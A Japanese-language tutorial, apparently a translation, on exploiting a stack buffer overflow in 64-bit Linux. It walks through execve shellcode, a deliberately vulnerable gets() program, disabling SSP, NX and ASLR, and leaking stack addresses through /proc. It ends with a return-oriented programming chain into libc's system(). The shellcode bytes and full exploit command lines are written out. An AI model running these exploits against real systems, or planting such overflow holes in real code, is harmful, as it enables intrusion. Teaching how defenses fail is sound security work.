Return-Oriented Programmingで64ビットLinuxを攻撃する手法

完璧な人間はいません。プログラマならなおさらです。数日をかけて、自分が犯したミスを直すため、作成にかかったのと同じだけの時間を費やします。ですが、まだそれは運がいい方です。大抵は気づかぬうちにバグがとんでもないところに潜んでいて、我々は大惨事が起きてから初めてその存在を知るのです。

いくつかの惨事は偶発的なものです。例えば不運な一連のイベントが引き金となって、見落としていた論理エラーを引き起こす状況になることもあるでしょう。一方で故意に引き起こされる惨事もあります。会計士が複雑な法律の抜け道をかいくぐって税金を悪用するように、攻撃者がバグを見つけたとしたら、そのバグにつけ込んで多くのコンピュータを乗っ取るでしょう。

それゆえ、現代のシステムは悪意を持った人間にバグを利用されないよう設計されたセキュリティの機能を持っています。このようなセキュリティガードは、例えば、異常な動きが発見されるやいなや重要な情報を隠すか、あるいはプログラムの実行を停止するでしょう。

実行保護はセキュリティ機能の1つですが、残念ながら効果的な働きはしません。この記事では、Return-oriented programming(ROP)として知られるテクニックを使い64ビットLinuxにおける実行保護をどのように回避するかお見せしましょう。

アセンブリの組み立てが必要です

まずはexecveシステムコール経由でシェルを立ち上げるアセンブリを書くところから始めましょう。

互換性に関していえば、32ビットLinuxシステムコールは64ビットLinuxでもサポートされています。そのため、私たちは32ビットシステムを対象としたシェルコードを再利用できると考えてしまいがちです。しかしながらexecveシステムコールは実行されるプログラムのNULL終端を含むメモリアドレスを引数にとります。シェルコードは32ビットより大きいメモリアドレスへの参照を要求する場所に注入されなければなりません。ですから私たちは64ビットシステムコールを使わなければなりません。

32ビットアセンブリに慣れた人にとっては、下記が役に立つかもしれません。

32ビットシステムコール 64ビットシステムコール

インストラクション

int $0x80

syscall

システムコールナンバ

EAX, e.g. execve = 0xb

RAX, e.g. execve = 0x3b

1~6入力

EBX, ECX, EDX, ESI, EDI, EBP

RDI, RSI, RDX, R10, R8, R9

7以上入力

in RAM; EBX points to them

forbidden

mov $0xb, %eax 
lea string_addr, %ebx 
mov $0, %ecx 
mov $0, %edx 
int $0x80
mov $0x3b, %rax 
lea string_addr, %rdi 
mov $0, %rsi 
mov $0, %rdx 
syscall

Cファイルにアセンブリコードを埋め込んだものを、shell.cと呼びます。

int main() { 
  asm("\ 
needle0: jmp there\n\ 
here:    pop %rdi\n\ 
         xor %rax, %rax\n\ 
         movb $0x3b, %al\n\ 
         xor %rsi, %rsi\n\ 
         xor %rdx, %rdx\n\ 
         syscall\n\ 
there:   call here\n\ 
.string \"/bin/sh\"\n\ 
needle1: .octa 0xdeadbeef\n\ 
  "); 
}

メモリのどこでコードが終了しようと問題なく、call/popのトリックによって、RDIレジスタは”/bin/sh”という文字列のアドレスとともに読み込まれます。

needle0とneedle1のラベルは後々検索しやすいように付けられています。定数0xdeadbeefもそうです(x86はリトルエンディアンなので、4バイト分の0に続いて EF BE AD DE というかたちで表されますが)。

シンプルに、私たちはAPIをあえて誤用しています。本来ならexecveに対する2番目、3番目の引数は、文字列を指すNULL終端のポインタ配列となるべきです(argv[]とenvp[])。しかしながら、システムは寛容なのです。argvとenvpがNULLのままで”/bin/sh”を実行してもうまくいきます。

ubuntu:~$ gcc shell.c 
ubuntu:~$ ./a.out 
$

いずれにせよ、argvとenvpの配列を付け加えても単純であることに変わりありません。

いかさまシェル

私たちが注入したいペイロードを抜粋します。マシンコードを調べてみましょう。

$ objdump -d a.out | sed -n '/needle0/,/needle1/p' 
00000000004004bf <needle0>: 
  4004bf:       eb 0e                   jmp    4004cf <there> 

00000000004004c1 <here>: 
  4004c1:       5f                      pop    %rdi 
  4004c2:       48 31 c0                xor    %rax,%rax 
  4004c5:       b0 3b                   mov    $0x3b,%al 
  4004c7:       48 31 f6                xor    %rsi,%rsi 
  4004ca:       48 31 d2                xor    %rdx,%rdx 
  4004cd:       0f 05                   syscall 

00000000004004cf <there>: 
  4004cf:       e8 ed ff ff ff          callq  4004c1 <here> 
  4004d4:       2f                      (bad) 
  4004d5:       62                      (bad) 
  4004d6:       69 6e 2f 73 68 00 ef    imul   $0xef006873,0x2f(%rsi),%ebp 

00000000004004dc <needle1>:

64ビットシステムでは、コードセグメントは通常0x400000にあります。つまり、バイナリの中では、私たちのコードは0x4bfオフセットで始まり、オフセット値0x4dcの直前に終わります。この差は29バイトです。

$ echo $((0x4dc-0x4bf)) 
29

8の次の倍数まで切り上げることにして、32を得ます。そして実行します。

$ xxd -s0x4bf -l32 -p a.out shellcode

確認してみましょう。

$ cat shellcode 
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef 
bead

悪さをするC言語をたったの1時間で学ぼう!

ひどいC言語のチュートリアルは以下のvictim.cのような例を含んでいるでしょう。

#include <stdio.h> 
int main() { 
  char name[64]; 
  puts("What's your name?"); 
  gets(name); 
  printf("Hello, %s!\n", name); 
  return 0; 
}

x86システムのためのcdecl呼出規約のせいで、もしとても長い文字列を入力しようとしたら、バッファオーバーフローになったり、戻りアドレスを上書きしたりすることになるでしょう。適切なバイトを付加してシェルコードを挿入すれば、プログラムがメイン関数から戻ろうとする時に意図せずシェルコードを実行してくれます。

コードインジェクションにおける3つのトライアル

悲しいかな、スタックスマッシングは最近ではより難しくなっています。私のUbuntu 12.04では3つの対抗策が講じられています。

  1. GCC Stack-Smashing Protector(SSP)、またはProPolice:コンパイラは、バッファオーバーフローの危険性を減らすため、スタックレイアウトを再編成して、プログラムの実行中にスタックの完全性をチェックします。
  2. 実行保護(NX):スタック上のコードを実行しようとすることは、セグメンテーション違反を引き起こします。この機能は多くの名前で呼ばれており、例えばWindowsにおけるデータ実行防止(DEP)、あるいはBSDのW^X (Write XOR Execute)などがあります。ここではNXと呼ぶことにしましょう、なぜなら64ビットLinuxはこの機能をCPUのNXビット(“Never eXecute”)によって実装しているからです。
  3. アドレス空間配置のランダム化(ASLR):実行のたびにスタックの位置がランダムに入れ替わります。そのため、戻りアドレスを上書きしたとしても、そこに何を配置すればいいのか全く分からないのです。

これらを回避するためにズルをしましょう。まず、SSPを無効にします。

$ gcc -fno-stack-protector -o victim victim.c

次に、NXを無効にします。

$ execstack -s victim

最後に、バイナリを実行するときにASLRも無効にしましょう。

$ setarch `arch` -R ./victim 
What's your name? 
World 
Hello, World!

もう1つズルをします。バッファの場所を表示しましょう。

#include <stdio.h> 
int main() { 
  char name[64]; 
  printf("%p\n", name);  // Print address of buffer. 
  puts("What's your name?"); 
  gets(name); 
  printf("Hello, %s!\n", name); 
  return 0; 
}

リコンパイルして実行します。

$ setarch `arch` -R ./victim 
0x7fffffffe090 
What's your name?

再実行しても同じアドレスが返るはずです。これをリトルエンディアンで取得する必要があります。

$ a=`printf %016x 0x7fffffffe090 | tac -rs..` 
$ echo $a 
90e0ffffff7f0000

成功です!

いよいよ我々はこの脆弱なプログラムを攻撃することができます。

$ ( ( cat shellcode ; printf %080d 0 ; echo $a ) | xxd -r -p ; 
cat ) | setarch `arch` -R ./victim

シェルコードがバッファの最初の32バイトまでを取得します。printfの80個の0は40バイト分の0を表しており、そのうち32バイトがバッファの残りの部分を埋めて、残りの8バイトが保存されたRBPレジスタの場所を上書きします。次の8バイトは戻りアドレスを上書きし、シェルコードが保持されているバッファの開始地点を指します。
エンターキーを何度か押してから、実行中のシェルの中にいることを確認するために、”ls”を入力しましょう。プロンプト表示はありません。なぜなら標準ストリームがターミナル(/dev/tty)ではなくcatで与えられているからです。

パッチ適用の重要性

ここで面白半分で寄り道をして、ASLRについて見てみましょう。かつては/proc/pid/statを見ればあらゆるプロセスのESPレジスタを知ることができましたが、この脆弱性は遥か昔に封印されました。(現在ではptrace()する権限が与えられているプロセスに限り、与えられたプロセスを調べることができます)。

パッチが適用されていないシステムを想定しましょう。できるだけ本物に近いほうが満足感があるからです。またパッチ適用の重要性やASLRがランダム性だけでなく機密性を必要とする理由についてじかに知ることができるからです。
Tavis OrmandyとJulien Tinnesのプレゼンテーションを参考に、次のコマンドを実行します。

$ ps -eo cmd,esp

最初にASLRなしでvictimプログラムを実行します。

$ setarch `arch` -R  ./victim

そして別のターミナルで以下を実行します。

$ ps -o cmd,esp -C victim
./victim           ffffe038

このようにしてvictimプログラムがユーザの入力を待っている間、victimプログラムのスタックポインタは0x7fffffe038となります。このポインタからnameのバッファまでの距離を計算します。

$ echo $((0x7fffffe090-0x7fffffe038)) 
88

古いシステムのASLRを打ち破るための値を手に入れました。ASLRを再度有効化してvictimプログラムを実行します。

$ ./victim

それからプロセスを調べることで相対的なポインタを得ることができるので、それにオフセットを加えます。

$ ps -o cmd,esp -C victim 
./victim           43a4b538 
$ printf %x\\n $((0x7fff43a4b538+88)) 
7fff43a4b590

デモをするのに、名前付きパイプを使うのが一番簡単でしょう。

$ mkfifo pip 
$ cat pip | ./victim

もう1つのターミナルで以下を入力します。

$ sp=`ps --no-header -C victim -o esp` 
$ a=`printf %016x $((0x7fff$sp+88)) | tac -r -s..` 
$ ( ( cat shellcode ; printf %080d 0 ; echo $a ) | xxd -r -p ; cat ) > pip

エンターキーを数回押せば、シェルコマンドを入力できるようになります。

実行悪用

execstackコマンドを使用せずにvictimプログラムを再コンパイルしてください。または、以下を実行して実行保護をアクティベートしてください。

$ execstack -c victim

このバイナリを上記の方法で攻撃してみてください。我々の努力はプログラムがスタック上のインジェクション済みのシェルコードにジャンプした瞬間に無駄になります。全ての領域が実行不可能になっているため、シャットダウンされてしまうのです。

ROPは巧みにこの防御をかわします。古典的なバッファオーバーフローの脆弱性は我々が実行したいコードでバッファを埋めますが、ROPは代わりに我々が実行したいコードスニペットの”アドレスで”バッファを埋めます。そしてスタックポインタをある種の間接的なインストラクションポインタに変えてしまうのです。

このコードスニペットは実行可能なメモリから取得されます。例えばそれらはlibcの断片であったりするでしょう。そのためNXビットでは我々を止めることができません。詳しくいえば、詳細は下記のようになります。

  1. 一連のアドレスの始まりを指すスタックポインタ(SP)を取得することから始めます。RET命令が全てのスタートになります。
  2. サブルーチンから戻るという通常のRETの意味を忘れて、その効果に注目してください。RETはスタックポインタが保持するメモリ上のアドレスへジャンプし、(64ビットシステムの場合)スタックポインタを8インクリメントします。
  3. いくつかの命令を実行すると、RETに遭遇します。ステップ2を見てください。

ROPでは、RETで終わる一連の命令は”ガジェット”と呼ばれます。

ガジェットという名のひみつ道具

我々の目的は、libcのsystem()関数で”/bin/sh”を引数として呼び出すことです。これは任意の値をRDIに割り当てるガジェットを呼び出し、libcのsystem()関数へジャンプすることで実現できます。
まず、libcはどこにあるのでしょうか。

$ locate libc.so 
/lib/i386-linux-gnu/libc.so.6 
/lib/x86_64-linux-gnu/libc.so.6 
/lib32/libc.so.6 
/usr/lib/x86_64-linux-gnu/libc.so

このシステムには32ビットと64ビットのlibcが存在しています。我々が欲しいのは64ビットのlibcです。64ビットのlibcはリストの2番目にあります。

さて、どんなガジェットが使用できるのでしょうか。

$ objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep -B5 ret

悪い選択ではないのですが、この取ってつけた検索方法では意図的なコードの断片しか発見できません。

もっとうまいやり方があります。我々の場合、次のコマンドを実行するのがよいでしょう。

pop  %rdi 
retq

“/bin/sh”へのポインタがスタックの一番上にあるうちはこの方法が使えます。この方法ではスタックポインタを処理する前にポインタの値をRDIレジスタに割り当てます。対応する機械語は0x5f 0xc3という2バイトの並びでした。libcのどこかで使われているに違いありません。

悲しいことに、私はファイルから複数バイトの並びを検索できるようなLinuxのツールを知りません。多くのツールはテキストファイルを対象としており、また入力が改行で整形されていることを前提としています。(Rob Pikeの” Structural Regular Expressions”を思い出しました。)

汚いですが以下で代替します。

$ xxd -c1 -p /lib/x86_64-linux-gnu/libc.so.6 | grep -n -B1 c3 | grep 5f -m1 | awk '{printf"%x\n",$1-1}' 
22a12

まとめるとこうです。
 1. 16進数コードが1行づつ出力されるようにライブラリをダンプします。
 2. “c3″という文字列を検索し、該当する行の1つ前の行を出力します。あわせて行番号も出力します。
 3. 結果から、最初にマッチする”5f”を検索します。
 4. 行番号は1から始まりオフセットは0から始まるので、後者から前者を取得するために1を減算しなければなりません。また、アドレスは16進数の形で取得したいと思います。(減算のため)第1引数を数値としてawkを使います。すると都合よく数値の後の文字、つまりgrepが出力した”-5f”を全て落としてくれます。

あと少しです。戻りアドレスを以下の順で上書きします。

  • libc’s address + 0x22a12
  • address of “/bin/sh”
  • address of libc’s system() function

それから次のRET命令を実行すると、最初のガジェットのおかげでプログラムが”/bin/sh”のアドレスをRDIに割り当ててくれ、システム機能へアクセスできるようになります。

たくさんのReturnがあなたを幸せにしてくれますように

ターミナルで次のように実行します。

$ setarch `arch` -R ./victim

もう1つのターミナルで下記のように実行します。

$ pid=`ps -C victim -o pid --no-headers | tr -d ' '` 
$ grep libc /proc/$pid/maps 
7ffff7a1d000-7ffff7bd0000 r-xp 00000000 08:05 7078182                    /lib/x86_64-linux-gnu/libc-2.15.so 
7ffff7bd0000-7ffff7dcf000 ---p 001b3000 08:05 7078182                    /lib/x86_64-linux-gnu/libc-2.15.so 
7ffff7dcf000-7ffff7dd3000 r--p 001b2000 08:05 7078182                    /lib/x86_64-linux-gnu/libc-2.15.so 
7ffff7dd3000-7ffff7dd5000 rw-p 001b6000 08:05 7078182                    /lib/x86_64-linux-gnu/libc-2.15.so

これでlibcがメモリの0x7ffff7a1d000番地にロードされました。これが最初の鍵になります。ガジェットのアドレスは0x7ffff7a1d000 + 0x22a12となります。

次に、メモリのどこかに”/bin/sh”が要ります。以前と同じようにバッファの開始地点にこのストリングを挿入すればいいですよね。前述から、アドレスは0x7fffffffe090となります。

最後の鍵はシステムライブラリの関数の位置です。

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep '\<system\>' 
0000000000044320 W system

分かりましたね。システム関数のアドレスは0x7ffff7a1d000 + 0x44320です。これをまとめると次のようになります。

$ (echo -n /bin/sh | xxd -p; printf %0130d 0; 
printf %016x $((0x7ffff7a1d000+0x22a12)) | tac -rs..; 
printf %016x 0x7fffffffe090 | tac -rs..; 
printf %016x $((0x7ffff7a1d000+0x44320)) | tac -rs..) | 
xxd -r -p | setarch `arch` -R ./victim

何度かエンターキーを押してみて、そしてコマンドを打ち込み、実際にシェルが起動されているか確認してください。

今回は130個の0があり、xxdにより65個の0バイトに変換されます。これで”/bin/sh”のバッファの残りとその後ろにプッシュされたRBPレジスタの両方をカバーするのにちょうど足りていて、まさに次に上書きする箇所はスタックのトップということになります。

結果発表

この短期間の実験結果としては、ProPoliceが最善の防御となりました。スタックの一番高い箇所に配列を移動させることにより、オーバーフローによる攻撃を困難にします。更に、配列の終端に”カナリア”として知られる特定の値が挿入されます。戻り命令の前にチェックを挿入し、もしカナリアが不正に修正されていたら実行が終了されます。完全にProPoliceを停止させないと手が出せませんでした。

ASLRも、エントロピーが十分で、かつランダム性についての機密が保持されている限りは攻撃を防御してくれます。注意しなくてはならないのは、古いシステムが/proc経由で情報をリークしていた点です。一般的に、攻撃者は巧妙な手口を開発して、隠されているアドレスを暴こうとしてきました。

最後に、最も役に立たないのは実行保護(NX)で、これは穴だらけでした。スタック上でコードを実行できないとしたら? ただ他のコードに標的を変更し実行すればいいのです。今回はlibcを使いましたが、一般に攻撃しやすい一連のコードはあるものです。例えば、研究者たちが大がかりな実行保護で投票マシンに不正アクセスを試みた例は、これを転用したものです。

面白いことに、それぞれの方法のコストは、役立ち度に反比例するようです。

  • 実行保護には特殊なハードウェア (NXビット)または高額なソフトウェアエミュレーションが必要です。
  • ASLRには多くの関連各所からの協力が必要になります。プログラムやライブラリの類はアドレスにランダムに配置されていなくてはなりません。情報の漏えいを防ぐ必要があります。
  • ProPoliceにはコンパイラパッチが必要です。

見せかけのセキュリティ

もし実行保護がそんなに簡単に破られてしまうなら、設定する価値があるのかと疑問に思う人もいるのではないでしょうか。

価値があると考えた人がいるからこそ今は広く普及しているのでしょう。でも、もしかしたら、そろそろこう問いかけてみる時期かもしれません。「実行保護は削除してしまってもいいだろうか? 実行保護は何もないよりはマシなのか?」と。

既存のコードの断片をつなぎ合わせて攻撃を行うのは非常にたやすいことが分かりました。表面的に見てきただけですが、ほんの少しのガジェットでどのような呼出も可能なのです。もっと言うと、ガジェットのためのライブラリを攻撃するツールや、入力言語を一連のアドレスに変換するコンパイラが、無防備で非実行可能なスタックへ用いるために用意されているのです。完全武装した攻撃者なら、実行保護というものが存在することすら忘れていても大丈夫そうです。

そういう訳で、実行保護は最悪だと主張します。コストが高い上に役に立たず、データからコードを分離してしまいます。Rob Pikeもこのように言っています

これがチューリングとフォン・ノイマンの理論にかかわらず広まり、プログラム内蔵コンピュータの基本理念を定義したのです。コードとデータは同等であるか、少なくとも、同等であり得るはずです。

実行保護は自己書き換えコードにより干渉しますが、これは実行時コンパイラに対しては非常に価値があり、さらに石に刻まれた大昔の呼出規約に新たな生命を吹き込むのです。

シンプルな呼出規約とシンポインタでネストされた関数をどのようにC言語に追加するかについての論文で、Thomas Breuelは次のように意見を述べています。

しかし、アーキテクチャやオペレーティングシステムによっては、プログラムに実行時のコードの生成と実行を禁じています。こうした意図的な制限をもったハードウェアまたはソフトウェアはうまく設計されていないと言えるでしょう。FORTHやLisp、Smaltalkなどといったプログラム言語の実装では、実行時に素早くコードを生成したり修正したりすることが可能であることから、多くの利益を得ることができます。

エピローグ

ROPのことに最初に関心を持たせてくれたHovav Shachamに感謝します。彼とはROPについての総合的な紹介を共著しました。また、ROPが投票マシンを侵害した事例についての技術的な詳細もご覧ください。

今回は特定の攻撃に的を絞りました。他の種類の攻撃に対しては、今回の防御はあまり役に立たない可能性もあります。例えば、ASLRはHeap Sprayingをかわすのが苦手です。

Return-to-libc

ROPはReturn-to-libc攻撃を汎用化したもので、ガジェットではなくライブラリ関数をコールします。32ビットのLinuxでは引数がスタックに渡されるので、C言語の呼出規約が攻撃の助けになります。スタックを不正操作して私たちの引数とライブラリ関数のアドレスが保持されるようにすればいいだけです。RETが実行される時には既に攻撃が進行中なのです。

しかし、64ビットのC言語の呼出規約は、RCXがR10に代わるという点と、6個以上の引数が同時に存在するかもしれない(他はスタック上に右から左の順に存在している)という点以外は、64ビットのシステムコールと同じです。バッファのオーバーフローはスタックのコンテンツを制御することしかできず、レジスタを制御できないため、return-to-libc攻撃を行うのは難しくなります。

新しい呼出規約になっても、ガジェットがレジスタを操作できるので、ROPは有効な攻撃となり得ます。

GDB

高層ビルの建築が完成したら足場を取り除きますよね。私もそれまで活用していたGDBセッションを削除しました。最初の一回目でこれらのセキュリティ上の弱点を最初の一回で1バイトのズレもなく完璧にできたと思いますか?そうだと良かったのですが。

そう言えば、私はかなり自信を持って、デバッガを使ってデバッグをしたことがないと言えます。使ったのはアセンブリでプログラムを書いた時、ソースコードの無いバイナリを調査した時、そして今回のバッファオーバーフローの突破口のためだけです。ここでLinus Torvaldsの言葉を引用します。

デバッガは嫌いだ。今までも、これからもそれは変わらないだろう。私はいつもGDBを利用しているが、デバッガーとしてではなく、プログラムできる強化された逆アセンブラとして利用している。

Brian Kernighanも、こう言っています。

最も効果的なデバッグツールは注意深い思考と、よく考えて挿入されたプリント文だ。

もう既に多くのガイドがあるので、いつかGDBについて書く機会があるかは分かりません。今のところ、いくつかコマンドを選んでリストにしておきましょう。

$ gdb victim 
start < shellcode 
disas 
break *0x00000000004005c1 
cont 
p $rsp 
ni 
si 
x/10i0x400470

GDBは、ASLRが無効な時のシェルの選択とは微妙に違う位置を選択しますが、確定的にコードを挿入するのに役立ちます。

補記

上記のことをいくつかのシェルスクリプトにまとめました。

  • classic.sh:古典的なバッファオーバーフロー攻撃
  • rop.sh:ROP版

私のシステム (Ubuntu 12.04 on x86_64)上で稼働します。

[私のホームページ] Emailアドレス:blynn pleasedontspammeアットマークcsドットStanfordドットedu